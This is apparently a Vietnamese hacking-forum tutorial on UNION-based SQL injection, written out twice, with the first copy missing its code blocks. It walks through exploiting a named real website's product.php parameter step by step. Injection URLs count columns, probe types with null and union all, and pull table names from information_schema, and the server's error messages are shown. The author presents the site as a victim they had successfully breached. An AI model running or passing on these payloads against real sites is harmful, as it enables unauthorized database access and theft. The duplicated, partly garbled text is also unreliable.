Tutorial hiểu rõ hơn về UNION trong SQL Injection
Hôm nay mình xin được viết một bài tut về UNION trong SQL Injection, hy vọng các bạn sẽ ủng hộ và góp ý cho bài viết của mình
Sau đây mình xin được lấy một link victim mình đã từng khai thác trước đây và đã thành công để làm ví dụ. (Lưu ý: victim đã fix lỗi rồi nhé)
Victim:
+thứ 1:
SQL injection thì phân biệt mysql injection và mssql injection là chính
còn php và asp chỉ là vấn đề phụ...1 số bạn lại nhầm tưởng
+thứ 2:
UNION dùng để kết nối 2 mệnh đề SELECT có hỗ trợ cả mysql và mssql nên có thể xài ở mọi trường hợp
+thứ 3:
mysql kết hợp tốt với php nên thông thường các bạn hack site php chỉ gặp mysql...nhưng ko tuyệt đối là thế mà có thể là mssql,oracle....
+thứ 4:nói thêm (có sai thì mấy pro góp ý)
VD:id=1 các bạn sửa lại thành id=-999 or id=null làm gì?
để mệnh đề SELECT thứ nhất ko trả về kết quả
giả sử trên 1 page có 3 chỗ echo ra kết quả mà SELECT thứ nhất trả về 3 kết quả thì hết chỗ...SELECT thứ 2 tuy trả về kết quả nhưng ko có chỗ echo ra
+thứ 5:
cấu trúc UNION:
VD trên nghĩa là type các column trong 2 mệnh đề SELECT phải giống nhau
Áp dụng:
trở lại site victim trên
=> nghĩa là nó sử dụng sql server or mysql
attack = UNION nha
đầu tiên đếm column đc 4 column
type khác nhau
null ko có type nên bypass tốt
DISTINCT là gì thì các bạn tự tìm hĩu (đơn giản là lọc kết quả trùng nhau)
để khắc phục thì xài union all select
kế típ dò type từng column
vẫn bt =>column type int(thường là ID mà )
ra số 2 đẹp đẹp
=> hình như bị magic quote(là gì thì bạn tự tìm hiểu nhé )
=>chuyển thành
tương tự
tiếp theo thì chắc các bạn biết roài
Chúc các bạn tích lũy kinh nghiệm thành công!
Sau đây mình xin được lấy một link victim mình đã từng khai thác trước đây và đã thành công để làm ví dụ. (Lưu ý: victim đã fix lỗi rồi nhé)
Victim:
Mã:
http://www.peric.ac.cn/product.php?product_id=2'
+thứ 1:
SQL injection thì phân biệt mysql injection và mssql injection là chính
còn php và asp chỉ là vấn đề phụ...1 số bạn lại nhầm tưởng
+thứ 2:
UNION dùng để kết nối 2 mệnh đề SELECT có hỗ trợ cả mysql và mssql nên có thể xài ở mọi trường hợp
+thứ 3:
mysql kết hợp tốt với php nên thông thường các bạn hack site php chỉ gặp mysql...nhưng ko tuyệt đối là thế mà có thể là mssql,oracle....
+thứ 4:nói thêm (có sai thì mấy pro góp ý)
VD:id=1 các bạn sửa lại thành id=-999 or id=null làm gì?
để mệnh đề SELECT thứ nhất ko trả về kết quả
giả sử trên 1 page có 3 chỗ echo ra kết quả mà SELECT thứ nhất trả về 3 kết quả thì hết chỗ...SELECT thứ 2 tuy trả về kết quả nhưng ko có chỗ echo ra
+thứ 5:
cấu trúc UNION:
Mã:
SELECT id,user,pass,level from test UNION SELECT 1,'a','b',2 from example
Áp dụng:
trở lại site victim trên
Mã:
mssql_query
attack = UNION nha
đầu tiên đếm column đc 4 column
Mã:
http://www.peric.ac.cn/product.php?product_id=-2 union select 1,2,3,4 from information_schema.tables--
Mã:
http://www.peric.ac.cn/product.php?product_id=-2 union select null,null,null,null from information_schema.tables--
Mã:
Warning: mssql_query(): message: The text, ntext, or image data type cannot be selected as DISTINCT. (severity 16) in /home/www/peric/product.php on line 262
để khắc phục thì xài union all select
kế típ dò type từng column
Mã:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,null,null,null%20from%20information_schema.tables--
Mã:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,null,null%20from%20information_schema.tables--
Mã:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,3,null%20from%20information_schema.tables--
báo lỗi nên change thành '3','a',.. gì đó miễn là type char
Mã:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,'3',null%20from%20information_schema.tables--
Mã:
Warning: mssql_query(): message: Line 1: Incorrect syntax near '\'. (severity 15) in /home/www/peric/product.php on line 262
=>chuyển thành
Mã:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,table_name,null%20from%20information_schema.tables--
Mã:
http://www.peric.ac.cn/product.php?product_id=-2%20union%20all%20select%201,2,table_name,4%20from%20information_schema.tables--
Chúc các bạn tích lũy kinh nghiệm thành công!